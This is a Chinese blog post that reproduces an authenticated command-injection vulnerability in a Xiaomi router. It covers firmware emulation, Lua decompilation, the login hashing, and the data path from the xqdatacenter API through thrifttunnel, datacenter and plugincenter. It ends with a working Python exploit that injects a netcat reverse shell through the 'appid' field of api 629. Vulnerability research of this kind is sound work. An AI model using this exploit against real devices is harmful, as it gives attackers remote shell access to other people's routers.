这个cve是我至今以来复现的最为复杂的漏洞了,winmt真神!

固件仿真

首先固件的提取可以看zikh26的博客,非常详细

如果是直接下载固件包的话,要先运行sudo apt install libvirt-daemon-system libvirt-clients virt-manager下载virbr0网桥

但是我在下载的时候要求卸载掉vmtool,可能是软件关系的冲突,但是zikh26师傅说他没遇到过,因此我猜测是网卡分配的冲突或者是网络配置的冲突??我也不是很懂,如果有了解的师傅请跟我说说,不过卸载了也没关系,不过是手改elf文件罢了

1
2
3
4
5
6
7
8
9
10
11
sudo qemu-system-aarch64 \
-M virt \
-cpu cortex-a53 \
-m 1G \
-initrd initrd.img-5.10.0-29-arm64 \
-kernel vmlinuz-5.10.0-29-arm64 \
-append "root=/dev/vda2 console=ttyAMA0" \
-drive if=virtio,file=debian=3607-aarch64.qcow2,format=qcow2,id=hd
-netdev tap,id=net0,ifname=tap0,script=no,downscript=no \
-device virtio-net-pci,netdev=net0 \
-nographic

可以先自己配置看看如果不会的话看winmt也是十分详细,tql

lua文件分析

由于小米路由器在较新的版本采用了魔改版的lua编译器,因此得使用特定的lua反编译软件,而这点已经有网上的师傅做出来了

1
2
3
4
5
6
sudo apt install openjdk-11-jdk
git clone https://github.com/NyaMisty/unluac_miwifi.git
cd unluac_miwifi
mkdir build
javac -d build -sourcepath src src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build

之后运行脚本来批量反编译*.lua

这里使用winmt师傅写的批量脚本

1
2
3
4
5
6
7
8
9
import os

res = os.popen("find ./ -name *.lua").readlines()

for i in range(0, len(res)) :
path = res[i].strip("\n")
cmd = "java -jar /home/winmt/unluac_miwifi/build/unluac.jar " + path + " > " + path + ".dis"
print(cmd)
os.system(cmd)

之后便可以开始分析lua文件了

首先看/usr/lib/lua/luci/controller/api/xqdatacenter.lua,整个文件时配置一个API控制器模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
function L0()
local L0, L1, L2, L3, L4, L5, L6
L0 = node
L1 = "api"
L2 = "xqdatacenter"
L0 = L0(L1, L2) ---node /api/xqdatacenter
L1 = firstchild
L1 = L1()
L0.target = L1 ---set target as first branch point
L0.title = ""
L0.order = 300
L0.sysauth = "admin"
L0.sysauth_authenticator = "jsonauth" ---verification method
L0.index = true
L1 = entry ---default entry
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L2[1] = L3
L2[2] = L4
L3 = firstchild
L3 = L3()
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 300
L1(L2, L3, L4, L5) ---entry( {"api","xqdatacenter"} , firstchild() , _"" , 300 )
L1 = entry --request processing
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L5 = "request"
L2[1] = L3
L2[2] = L4
L2[3] = L5
L3 = call
L4 = "tunnelRequest"
L3 = L3(L4)
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 301
L1(L2, L3, L4, L5) ---entry( {"api","xqdatacenter","request"} , call(tunnelRequest) , _"" , 301 )
L1 = entry ---identify device
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L5 = "identify_device"
L2[1] = L3
L2[2] = L4
L2[3] = L5
L3 = call
L4 = "identifyDevice"
L3 = L3(L4)
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 302
L6 = 8
L1(L2, L3, L4, L5, L6)
L1 = entry --download
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L5 = "download"
L2[1] = L3
L2[2] = L4
L2[3] = L5
L3 = call
L4 = "download"
L3 = L3(L4)
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 303
L1(L2, L3, L4, L5)
L1 = entry --upload
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L5 = "upload"
L2[1] = L3
L2[2] = L4
L2[3] = L5
L3 = call
L4 = "upload"
L3 = L3(L4)
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 304
L6 = 16
L1(L2, L3, L4, L5, L6)
L1 = entry ----thumbnail
...
L1(L2, L3, L4, L5)
L1 = entry --device_id
...
L1(L2, L3, L4, L5)
L1 = entry --check file exit?
...
L1(L2, L3, L4, L5)
L1 = entry --ssh
...
L1 = entry ---ssh status
...
L1(L2, L3, L4, L5)
L1 = entry --file system probe
...
L1(L2, L3, L4, L5)
L1 = entry --file system resume
...
L1(L2, L3, L4, L5)
end

第一个函数L0是定义了一些类似上传,下载之类的api入口,每个入口点都有特定的处理函数

开头

1
2
3
4
5
6
7
8
9
10
11
12
L0 = node
L1 = "api"
L2 = "xqdatacenter"
L0 = L0(L1, L2) ---node /api/xqdatacenter
L1 = firstchild
L1 = L1()
L0.target = L1 ---set target as first branch point
L0.title = ""
L0.order = 300
L0.sysauth = "admin"
L0.sysauth_authenticator = "jsonauth" ---verification method
L0.index = true

首先配置一个节点/api/xqdatacenter,firstchild设定了默认的入口方式,sysauth和sysauth_authenticator设置了认证方式,即在访问/api/xqdatacenter这个节点的时候是需要鉴权的,即通过/usr/lib/lua/luci/dispatcher.lua的aythenticator.jsonauth函数鉴权,由于这是学习的过程,因此尽量每个地方都弄懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
L10 = authenticator
function L11(A0, A1, A2)
local L3, L4, L5, L6, L7, L8, L9, L10, L11, L12, L13, L14
L3 = require
L4 = "xiaoqiang.util.XQSysUtil"
L3 = L3(L4)
L4 = luci
L4 = L4.http
L4 = L4.xqformvalue
L5 = "username"
L4 = L4(L5)
L5 = luci
L5 = L5.http
L5 = L5.xqformvalue
L6 = "password"
L5 = L5(L6)
L6 = luci
L6 = L6.http
L6 = L6.xqformvalue
L7 = "nonce"
L6 = L6(L7)
if L6 then
L7 = _UPVALUE0_
L7 = L7.checkNonce
L8 = L6
L9 = getremotemac
L9, L10, L11, L12, L13, L14 = L9()
L7 = L7(L8, L9, L10, L11, L12, L13, L14)
if L7 then
L7 = _UPVALUE0_
L7 = L7.checkUser
L8 = L4
L9 = L6
L10 = L5
L7 = L7(L8, L9, L10)
if L7 then
L7 = empower
L8 = "1"
L9 = "1"
L10 = nil
L7(L8, L9, L10)
L7 = "2"
L8 = luci
L8 = L8.http
L8 = L8.header
L9 = "Set-Cookie"
L10 = "psp="
L11 = L4
L12 = "|||"
L13 = L7
L14 = "|||0;path=/;"
L10 = L10 .. L11 .. L12 .. L13 .. L14
L8(L9, L10)
L8 = L4
L9 = L7
return L8, L9
else
L7 = loginAuthenFailed
L7()
end
else
L7 = context
L8 = {}
L7.path = L8
L7 = luci
L7 = L7.http
L7 = L7.write
L8 = "{\"code\":1582,\"msg\":\"Invalid nonce\"}"
L7(L8)
L7 = false
return L7
end
else
L7 = _UPVALUE0_
L7 = L7.checkPlaintextPwd
L8 = L4
L9 = L5
L7 = L7(L8, L9)
if L7 then
L7 = empower
L8 = "1"
L9 = "1"
L10 = nil
L7(L8, L9, L10)
L7 = "2"
L8 = luci
L8 = L8.http
L8 = L8.header
L9 = "Set-Cookie"
L10 = "psp="
L11 = L4
L12 = "|||"
L13 = L7
L14 = "|||0;path=/;"
L10 = L10 .. L11 .. L12 .. L13 .. L14
L8(L9, L10)
L8 = L4
L9 = L7
return L8, L9
else
L7 = context
L8 = {}
L7.path = L8
L7 = luci
L7 = L7.http
L7 = L7.write
L8 = "{\"code\":401,\"msg\":\"Invalid token\"}"
L7(L8)
L7 = false
return L7
end
end
L7 = context
L8 = {}
L7.path = L8
L7 = luci
L7 = L7.http
L7 = L7.write
L8 = "{\"code\":401,\"msg\":\"not auth\"}"
L7(L8)
L7 = false
return L7
end
L10.jsonauth = L11

可以看到这就是鉴权的函数,首先引入XQSysUtil模块,用于系统工具函数,之后便是获取 HTTP 请求中的 username, password, nonce 参数,如果有nonce参数,那么就调用_UPVALUE0_.checkNonce函数来检查nonce参数,如果通过checknonce的检查就会执行checkUser(usrname,nonce,password),也通过了那就正常返回,不然就失败。因此要通过两个函数的检查,checknonce便不必多说,只看checkUser函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
function L13(A0, A1, A2)
local L3, L4, L5, L6, L7, L8, L9
L3 = _UPVALUE0_
L3 = L3.get
L4 = A0
L5 = nil
L6 = "account"
L3 = L3(L4, L5, L6)
if L3 then
L4 = _UPVALUE1_
L4 = L4.isStrNil
L5 = A2
L4 = L4(L5)
if not L4 then
L4 = _UPVALUE1_
L4 = L4.isStrNil
L5 = A1
L4 = L4(L5)
if not L4 then
L4 = _UPVALUE2_
L4 = L4.sha1
L5 = A1
L6 = L3
L5 = L5 .. L6
L4 = L4(L5)
if L4 == A2 then
L4 = true
return L4
end
end
end
end
L4 = _UPVALUE3_
L4 = L4.log
L5 = 4
L6 = luci
L6 = L6.http
L6 = L6.getenv
L7 = "REMOTE_ADDR"
L6 = L6(L7)
L6 = L6 or L6
L7 = " Authentication failed"
L6 = L6 .. L7
L7 = A1
L8 = L3
L9 = A2
L4(L5, L6, L7, L8, L9)
L4 = false
return L4
end
checkUser = L13

首先用get函数获得account.comman.usrname,要求不为空,然后通过与Post报文传入的nonce现时字段拼接后sha1哈希加密之后便是Post报文中的密码了,那我们来看Post报文的密码字段

image-20240712102435885

可以看到用户名恒为admin,然后password要通过oldpw来加密

image-20240712102549234

可以看到它return了一个sha1加密内容是(nonce字段+sha1(pwd+key))Key便是上面的一串,pwd便是传入的密码,由于在lua文件中处理密码也会加拼接上一个nonce字段,那相当于是没拼接,那么只需要我们的account.common.admin是sha1(s1nec-1o+key),那么我们的密码便是s1nec-1o了

由于本文的cve是授权后的,因此要有密码才可以复现

鉴权完成之后那我们就要继续研究漏洞了,还是看到api控制模块的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
L1 = entry                                   --request processing
L2 = {}
L3 = "api"
L4 = "xqdatacenter"
L5 = "request"
L2[1] = L3
L2[2] = L4
L2[3] = L5
L3 = call
L4 = "tunnelRequest"
L3 = L3(L4)
L4 = _
L5 = ""
L4 = L4(L5)
L5 = 301
L1(L2, L3, L4, L5) ---entry( {"api","xqdatacenter","request"} , call(tunnelRequest) , _"" , 301 )

其中在访问xqdatacenter该节点的时候会call(tunnelRequest)来对json数据进行解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function L5()          --tunnelRequest Function
local L0, L1, L2, L3, L4, L5, L6, L7, L8
L0 = require
L1 = "xiaoqiang.util.XQCryptoUtil"
L0 = L0(L1) --load xiaoqiang.util.XQCryptoUtil module
L1 = L0.binaryBase64Enc --call binaryBase64Enc Function
L2 = _UPVALUE0_
L2 = L2.formvalue_unsafe
L3 = "payload"
L2, L3, L4, L5, L6, L7, L8 = L2(L3) --formvalue_unsafe(payload)
L1 = L1(L2, L3, L4, L5, L6, L7, L8) --Base func retuen L1
L2 = _UPVALUE1_
L2 = L2.THRIFT_TUNNEL_TO_DATACENTER --thrifttunnel 0 '%s'
L2 = L2 % L1 ---L1 tick to L2
L3 = require
L4 = "luci.util"
L3 = L3(L4) --load luci.util module
L4 = _UPVALUE0_
L4 = L4.write
L5 = L3.exec
L6 = L2
L5 = L5(L6) --luci.util's exec Func (tunnel cmd)
L6 = nil
L7 = false
L8 = true
L4(L5, L6, L7, L8) --write may ret
end
tunnelRequest = L5

其中调用了XQCryptoUtil的binaryBase64Enc和formvalue_unsafe,猜测是先base64加密然后用formvalue_unsafe来获取内容吧,显然是一个危险函数,未过滤危险字符,而THRIFT_TUNNEL_TO_DATACENTER的含义可以在/usr/lib/lua/xiaoqiang/common/XQConfigs.lua中找到image-20240712104352614

因此最终的string是thrifttunnel 0 'base64加密的payload'之后使用luci.util的exec来执行该命令,因此payload字段中被Base64编码的json数据会被传入thrifttunnel程序中且opetion为0

二进制文件分析

image-20240712110152526

会发现在thrifttunnel程序中他将数据发送到了本地端的9090端口,而/usr/lib/datacenter程序一直监听着9090端口,因此我们的数据会到datacenter中去处理

image-20240712110442769

这个函数显然就是监听的函数,看datacenter的request函数

image-20240712163626431

调用了APIMapping和redirectRequest函数

image-20240712163658072

APIMaping中调用了constructAPIMappingTable函数,它建立起了api和handle函数之间的关系

在redirect函数中image-20240712164126303

先获取json对象的api字段的值,存放在v8变量中,之后的循环时map.find()的调用的反汇编,其中偏移+32是第一个键值即api,+40便是对应的handle函数指针,因此显然可以知道上面便是api为多少就会调用哪里的函数

看到漏洞所在处,可以知道当api为629时出问题,看到api为629的地方

image-20240712164540707

看函数调用关系可以找到image-20240712164623136

它连接了9091端口,然后发现plugincenter监听了9091端口,可以得知数据会被转发到plugincenter来处理

找到plugincenter然后看sConstructMappingTable函数,就可以找到当api为629调用了parseGetIdForVendor函数

image-20240712164913808

image-20240712165122840

发现就算是非法的app id也会拼接到命令然后执行,因此就有个任意命令执行的漏洞

POC

1
2
/usr/sbin/datacenter &
/usr/sbin/plugincenter &

先将服务开启

然后执行Poc

1
2
3
4
5
6
7
8
9
10
11
import requests

server_ip = "192.168.50.1"
client_ip = "192.168.50.105"
token = "814c55713043e7358d3c1f42f2a98438"

nc_shell = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 8888 >/tmp/f;".format(client_ip)

res = requests.post("http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token), data={'payload':'{"api":629, "appid":"' + nc_shell + '"}'})

print(res.text)

此时做到反弹shell了

参考链接

https://forum.butian.net/share/3000

https://bbs.kanxue.com/thread-282034.htm

https://zikh26.github.io/posts/3d9490d.html